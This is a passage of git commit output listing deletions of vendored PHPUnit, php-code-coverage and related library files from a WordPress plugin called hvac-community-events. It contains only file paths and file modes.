wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_branch.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item_branch.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_branch.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item_branch.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-code.svg delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-directory.svg delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/bootstrap.min.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/d3.min.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/file.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/jquery.min.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/nv.d3.min.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/popper.min.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/line.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/lines.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item_branch.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/paths.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/PHP.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Text.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Directory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Facade.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/File.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Method.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Node.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Project.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Report.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Source.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Tests.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Totals.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Unit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Filesystem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Percentage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Version.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Facade.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Factory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Iterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/Invoker.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/TimeoutException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/Template.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Duration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/ResourceUsageFormatter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Timer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/NoActiveTimerException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/ChangeLog-9.6.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/DEPRECATIONS.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/SECURITY.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.lock delete mode 100755 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/8.5.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.0.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.1.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.2.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.3.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.4.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.5.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert/Functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Callback.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Constraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsAnything.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasProperty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/DataProviderTestSuite.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Deprecated.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Error.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Notice.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Warning.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ErrorTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Error.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/OutputError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Warning.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExceptionWrapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Api.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Method.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php delete mode 100644 